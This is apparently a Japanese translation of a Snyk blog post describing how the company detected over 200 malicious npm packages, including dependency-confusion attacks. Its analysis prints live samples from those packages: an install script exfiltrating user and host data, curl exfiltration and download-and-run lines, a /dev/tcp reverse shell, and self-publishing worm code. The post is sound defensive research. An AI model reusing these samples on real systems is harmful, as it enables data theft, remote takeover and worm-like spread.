Snyk、Cobalt Strike の依存関係かく乱攻撃を含む 200 件以上の悪意のある npm パッケージを検出
2022年5月24日
0 分で読めますSnyk は最近、npm レジストリに 200 件以上の悪意のあるパッケージを発見しました。開発者に脆弱性疲れがあることが認められるとはいえ、この記事はタイポスクワッティングやランダムな悪意のあるパッケージの典型的なケースについて説明するものではありません。この記事では、Snyk が検出してインサイトを共有できた、企業や組織を対象とした標的型攻撃の調査結果を紹介しています。
この記事では、依存関係かく乱攻撃の定義、この攻撃が JavaScript のエコシステム (特に npm レジストリ) に甚大な影響を及ぼす理由ではなく、Snyk が行っているアプローチや、最近発見された悪意のあるパッケージを中心に説明しています。依存関係かく乱攻撃とそのリスクについての入門書としては、アレックス・バーサン氏の (Alex Birsan) の「Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies (依存関係かく乱攻撃: アップル、マイクロソフト、その他数十社にハッキングした方法)」、「Snyk’s own disclosure of a targeted attack dependency attack simulation caught red-handed (Snyk が公開した標的型攻撃の依存関係攻撃シミュレーションの現行犯)」をぜひご一読ください。
さらに、バグ報奨金目当ての研究者やレッドチームが、npm のエコシステムの汚染に貢献し、間違ったセキュリティレポートを作成し、依存関係かく乱攻撃ベクトルが登場する以前よりもさらに問題を大きくしていることについてもご説明したいと思います。
最近、多くの企業がサプライチェーンセキュリティに注力していますが、特に重視されているのは悪意のあるパッケージの検出です。その中でも注目されているのは、やはり npm です。Snyk でも npm については社内で活発に意見が交わされ、悪意があっても被害の少ないパッケージに関して定期的に公表している他社よりも、もっと適切な方法がないかという点について話し合われました。そこで、シンプルな方法をテスト実装し、悪意のあるパッケージをどの程度検出できるかについて確認することにしました。そのシンプルな方法を長期にわたって調整し、最終的に Snyk の脆弱性データベースに 100 件目の悪意のあるパッケージを追加した時点で、本件を記事としてまとめるべきだと判断しました。ですがその前に、まずは npm のようなレジストリで悪意のあるパッケージを検出する方法についてご説明しましょう。
npm レジストリで悪意のあるパッケージを検出する
まず、このセキュリティ調査の範囲と目標を明確化する必要がありました。
インストール時の悪意のあるロジックにのみ着目しました。これで、
npm install
で発生するものだけが対象になります。実行時の悪意のあるスクリプトは対象外として、今後のケーススタディで取り上げる予定です。偽陽性シグナルを管理可能な分量にします。1 名のセキュリティアナリストが 1 労働時間以内にすべてのリードを整理できる分量にすると定義しました。
コレクターはモジュール型にします。 コレクターはすでに何度も進化しており、今も進化を続けています。上記の 2 番目により、検出技術が追加されたり、削除されたりしています。
最初のアプローチとして、純粋に静的な分析を行うことにしました。動的な分析については、別の記事で説明する予定です。
悪意のある動作とは何かを定義することが重要です。たとえば、リバースシェルを開いたり、プロジェクトフォルダー外のファイルを変更したりすることは、悪意のある動作とみなされます。
また、パッケージが個人識別情報 (または個人情報を含む可能性のあるデータ) を流出させた場合についても、悪意のある動作と考えることができます。例:
マシンの GUID を送信するパッケージ (悪意なし)\: GUID にはユーザーの個人データは含まれません。多くの場合、パッケージの固有のインストール数をカウントするために使用されます。
アプリケーションフォルダーパスを送信するパッケージ (悪意あり)\: アプリケーションフォルダーパスには通常、現在のユーザー名 (実際の姓名である可能性がある) が含まれます。
基礎となるシステムの構造は、以下により構成されています。
新しく追加されたパッケージや変更されたパッケージの情報を取得するスクレイピングロジック。
セキュリティアナリストに適切なメタデータを提供するタグ付けロジック。
前のステップに従って、悪意のあるパッケージのリードに優先順位を設定するソートロジック。
コレクターシステムの出力は YAML ファイル (リードのデータポイントとして機能) となり、セキュリティアナリストによって処理され、次の 3 種類のフラグが設定されます:
Good (良好)\: 不審な点がないパッケージ。悪意のない動作の例として挙げています。
Bad (不良)\: 悪意のあるパッケージ。
Ignored (無視)\: おそらく悪意はないものの、インストール時の動作が一般的すぎる、または複雑すぎて、将来のケースのパターンとして使用できないパッケージ。
パッケージ情報を収集する npm レジストリの偵察
最初に設定した要件によると、すべての新規および更新されたパッケージにインストール時のスクリプト preinstall
、install
、または postinstall
がある場合、それらを処理する必要があります。
npm レジストリは内部で CouchDB を使用しています。一般に便利に使用できるように replicate.npmjs.com
で CouchDB を公開します。データ収集部分は、\_changes エンドポイントに昇順でポーリングするだけでいいということです。つまり、
1https://replicate.npmjs.com/_changes?limit=100&descending=false&since=<here is last event ID from the previous run>
となり、前回のコレクター実行時に取得したイベント ID から、更新および作成されたパッケージの一覧を取得できます。
さらに、エンドポイント https://registry.npmjs.org/
を使用してリストから各パッケージのメタデータを取得し、また https://api.npmjs.org/downloads
を使用してパッケージのダウンロード数を取得します。
データ収集のロジックで唯一の難点は、パッケージの tarball からインストール時のスクリプトを抽出することです。平均的な npm パッケージの tarball のサイズは 1 MB 未満ですが、場合によっては数百 MB にも及ぶ巨大なものになることがあります。ただし、tar アーカイブの構造により、ストリーミング方式で実装できます。パッケージアーカイブをダウンロードして対象のファイルを取得したら、その後接続を切断するため、時間とネットワークトラフィックを大幅に節約できます。当社ではこの目的で tar-stream npm パッケージを使用しています。この機会に、JavaScript と Node.js の開発に多大な貢献をし、多くのオープンソース npm パッケージのメンテナーとして毎日開発者を支援しているマティアス・ブウス氏 (Mathias Buus) に謝意を伝えたいと思います。
npm レジストリでの悪意のあるパッケージにタグ付け
パッケージに関するすべてのメタデータ、つまりバージョン履歴、メンテナー名、インストール時のスクリプトの内容、依存関係などが揃ったため、ルールを適用できるようになりました。ここでは、経験上、最も有効だったルールをいくつかご紹介します。
bigVersion
\: パッケージのメジャーバージョンが 90 以上の場合。依存関係かく乱攻撃では、ダウンロードされる悪意のあるパッケージは、元のパッケージよりも大きなバージョンです。後で説明するように、悪意のあるパッケージは多くの場合、99.99.99 のようなバージョンになります。yearNoUpdates
\: パッケージがその年に初めて更新された場合。これは、パッケージがしばらくの間メンテナンスされておらず、その後脅威アクターによって不正にアクセスされたかどうかを判断する重要なシグナルとなります。noGHTagLastVersion
\: パッケージの新しいバージョンが対応する GitHub リポジトリにタグがない (ただし、以前のバージョンにはタグがあった) 場合。これは、npm ユーザーに対して不正アクセスが行われても、GitHub ユーザーに対しては行われなかった場合に有効です。isSuspiciousFile
\: 潜在的に悪意のあるインストール時スクリプトを検出する正規表現のセットが用意されています。一般的な難読化手法、canarytokens.com
やngrok.io
などのドメインの使用、IP アドレスの表示などを検出することができます。isSuspiciousScript
\: package.json ファイル内の潜在的に悪意のあるスクリプトを検出する正規表現のセット。たとえば、“postinstall: “node .”
は悪意のあるパッケージでよく使用されます。
システムにはさらに多くのタグが実装されていますが、コレクターロジックの概要を理解する上で上記のリストが役立ちます。
npm パッケージデータの分類
Snyk では、セキュリティアナリストがこのプロセスを手動でレビューするのではなく、自動化の適用を進めていきたいと考えています。インストール時のスクリプトが過去に「良好」や「不良」に分類済みだった場合は、新しいケースはそれに応じて自動的に「良好」または「不良」に分類されます。これは主に “postinstall”: “webpack”
または“postinstall”: “echo thanks for using please donate”
のような悪意のない動作の場合に有効であり、ノイズレベルを下げることができます。
さらに、特定のタグを優先的に処理することで、シグナルの真陽性率を高めています。具体的には isSuspiciousFile
および isSuspiciousScript
が最優先に処理されます。
手動によるセキュリティ解析
検出プロセスの最後のステップは、手動による解析です。また、いくつかの段階に分かれています。
自動的にソートされた優先度の高いリードを検証します。悪意のあるものがほとんどです。悪意のあるケースや悪意のないケースの新しいルールを検出することを目的として、ソートされていないリードを 1 つずつ調べます。
上記の 2 番目に基づいてコレクターロジックを更新します。
悪意のある各パッケージを Snyk 脆弱性データベースに追加します。
gxm-reference-web-auth-server のように、パッケージに異常で悪意のあるロジックが含まれていると思われる場合、アナリストは長い時間をかけて詳細に分析し、インサイトをコミュニティや Snyk のユーザーと共有します。
このフローにより、コレクターを毎日改善し、プロセスを自動化できます。
npm で検出できた悪意のあるパッケージ
現在までに、すでに 200 件以上の npm パッケージについて、完全に真陽性の検出結果が得られており、実際に依存関係かく乱攻撃の脅威も検出されています。これらの調査結果をさらに分類し、ハッカーのさまざまな行動や心理について説明します。
データを流出させる悪意のあるパッケージ
悪意のあるパッケージで最もよくあるタイプの 1 つは、HTTP または DNS リクエストによるデータの流出です。多くの場合、依存関係かく乱攻撃の調査で使用された元のスクリプトをコピーして貼り付けたものになっています。時には、「このパッケージは研究目的で使用されます」や「機密データは取得されません」といったコメントが表示されますが、惑わされないでください。このパッケージは個人情報を取得し、ネットワーク経由で送信します。
Snyk が発見した典型的なパッケージの例:
1const os = require("os");
2const dns = require("dns");
3const querystring = require("querystring");
4const https = require("https");
5const packageJSON = require("./package.json");
6const package = packageJSON.name;
7
8const trackingData = JSON.stringify({
9 p: package,
10 c: __dirname,
11 hd: os.homedir(),
12 hn: os.hostname(),
13 un: os.userInfo().username,
14 dns: dns.getServers(),
15 r: packageJSON ? packageJSON.___resolved : undefined,
16 v: packageJSON.version,
17 pjson: packageJSON,
18});
19
20var postData = querystring.stringify({
21 msg: trackingData,
22});
23
24var options = {
25 hostname: "<malicious host>",
26 port: 443,
27 path: "/",
28 method: "POST",
29 headers: {
30 "Content-Type": "application/x-www-form-urlencoded",
31 "Content-Length": postData.length,
32 },
33};
34
35var req = https.request(options, (res) => {
36 res.on("data", (d) => {
37 process.stdout.write(d);
38 });
39});
40
41req.on("error", (e) => {
42 // console.error(e);
43});
44
45req.write(postData);
46req.end();
以下の情報漏洩の試行が確認されています (比較的無害なものから最も危険なものの順)。
現在のユーザー名
ホームディレクトリパス
アプリケーションディレクトリパス
ホームやアプリケーションの作業ディレクトリなど、さまざまなフォルダーのファイルのリスト
ifconfig
システムコマンドの結果アプリケーションの
package.json
ファイル環境変数
.npmrc
ファイル
この悪意のあるパッケージのグループに追加された興味深いものとして、npm install http://
<malicious host>
/tastytreats-1.0.0.tgz?yy=npm get cache
のような install
スクリプトを持つものが挙げられます。npm キャッシュディレクトリのパス (通常、現在のユーザーのホームフォルダー内) の取得は明らかですが、それに加えて、外部ソースからパッケージをインストールすることもあります。経験上、この外部ソースパッケージは常にロジックやファイルを持たない単なるダミーパッケージですが、サーバー側で地域性などの条件が存在する可能性や、一定時間経過するとクリプトマイナーやトロイの木馬になる可能性もあります。
一部には、以下のような bash スクリプトの痕跡も見られました。
1DETAILS="$(echo -e $(curl -s ipinfo.io/)\\n$(hostname)\\n$(whoami)\\n$(hostname -i) | base64 -w 0)"
2curl "https://<malicious host>/?q=$DETAILS"
上記により、公開 IP アドレス情報、ホスト名、ユーザー名が流出します。
リバースシェルを生成する悪意のあるパッケージ
また、悪意のあるパッケージには、ハッカーが所有するリモートサーバーに接続し、ハッカーによる遠隔操作を可能にするリバースシェルを生成しようとするものもよくあります。以下のようなシンプルなものです。
1/bin/bash -l > /dev/tcp/<malicious IP>/443 0<&1 2>&1;
あるいは、net.Socket
や他の接続メソッドを使用した複雑な実装もあります。
このカテゴリーの主な問題は、ロジックはシンプルに見えるものの、実際の悪意のある動作はハッカーのサーバーサイドの背後で完全に隠されていることです。とはいえ、その影響は目に見えます。ハッカーは、悪意のあるパッケージがインストールされているコンピューターを完全に制御できるようになります。
そこで、このようなパッケージの 1 つをサンドボックスで実行することにしました。記録したコマンドは以下のとおりです。
nohup curl -A O -o- -L http://
<malicious IP>
/dx-log-analyser-Linux | bash -s &> /tmp/log.out&
\: 悪意のあるサーバーからスクリプトをダウンロードして実行します。悪意のあるサーバーからダウンロードされたスクリプトは、
/tmp
ディレクトリに自分自身を追加し、リモートハッカーからの更新を待って、10 秒ごとに自分自身をポーリングしました。VirusTotal によると、一定時間後、Cobalt Strike トロイの木馬であるバイナリファイルをダウンロードしたとのことです。
悪意のある npm パッケージにおけるトロイの木馬の使用
このカテゴリーには、コマンドアンドコントロールエージェントをインストールし、実行するさまざまなパッケージが存在します。その詳細については、この記事の内容を超えているため、gxm-reference-web-auth-server パッケージの詳細なリバースエンジニアリングに関する最近の記事をお読みください。上記の記事には、ホワイトハッカーがレッドチームの倫理的調査を実施した方法などの調査結果が記載されていますが、この悪意のある依存関係かく乱攻撃のカテゴリーにおいて、npm パッケージに含まれるものを示す良い例と言えます。また、レッドチームの活動を記録した事例にもなっています。
もう 1 つ興味深いケースとして、サンドボックスからのシステムコールをチェックしたところ、あるケースに注目しました。それは、デタッチプロセスを生成し、30 分間待機コールを実行した後に、悪意のある動作を開始したというものでした。
npm パッケージに含まれる悪ふざけや抗議を検出する
Snyk は 3 月にプロテストウェアの npm パッケージ に関する記事を公開しています。ただし、プロテストウェア以外にも、YouTube や NSFW の動画などをブラウザーで開いたり、.bashrc
ファイルにコマンドとして追加したりするさまざまな試みが観察されています。
サンプルコードは [https://www.youtube.com/watch?v=](https://www.youtube.com/watch?v=)
<xxx>
を postinstall
スクリプトまたは shell.exec(echo '\\nopen https://
<NSFW website>
' >> ~/.bashrc)
で開くようなシンプルなコードをインストール時の JavaScript ファイルに含めます。
今回の調査で検出された悪意のあるパッケージの別の潜在的に有害な例として、.npmrc
ファイルが存在するかどうかを検出し、存在する場合は、npm ユーザーの代わりに自身のコピーを作成する npm publish
を実行するパッケージがあります。ご存知のように、このパッケージはワームのように動作し、状況によっては真の脅威となる可能性があります。
1const fs = require('fs')
2const faker = require('faker')
3const child_process = require('child_process')
4const pkgName = faker.helpers.slugify(faker.animal.dog() + ' ' +
5faker.company.bsNoun()).toLowerCase()
6let hasNpmRc = false
7const read = (p) => {
8 return fs.readFileSync(p).toString()
9}
10try {
11 const npmrcFile = read(process.env.HOME + '/.npmrc')
12 hasNpmRc = true
13} catch(err) {
14}
15if (hasNpmRc) {
16 console.log('Publishing new version of myself')
17 console.log('My new name', pkgName)
18 const pkgPath = __dirname + '/package.json'
19 const pkgJSON = JSON.parse(read(pkgPath))
20 pkgJSON.name = pkgName
21 fs.writeFileSync(pkgPath, JSON.stringify(pkgJSON, null, 2))
22 child_process.exec('npm publish')
23 console.log('DONE')
24}
結論および推奨事項
Snyk は、オープンソースソフトウェアのエコシステムのセキュリティを確保できるよう日々取り組んでいます。悪意のある npm パッケージを数種類ご紹介しましたが、これがすべてではありません。当社の調査では、npm のエコシステムがさまざまなサプライチェーン攻撃の実行に積極的に利用されていることがわかっています。そのため、Snyk のようなツールを使って、開発者やメンテナー、アプリケーションやプロジェクトを保護することが推奨されます。
バグバウンティハンターやレッドチームとして活動されている方で、偵察活動を行うために npm パッケージを公開する必要がある場合は、npm の利用規約と法的ガイドラインに従ってください。いかなる場合であっても、個人情報を漏洩させないようにしてください。また、パッケージの目的はソースコードのコメントやパッケージの説明に明確に記載してください。当社では、node-machine-id のような一意のマシン識別子を送信している、複数の合法的な調査パッケージを確認しています。
公開時に影響を受けるパッケージの概要
まとめとして、検出できたパッケージの一覧を公開します。この時点で一部、またはほとんどが npm レジストリから削除されていますが、この調査を発表した時点でもまだ存在しているものもあります。
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|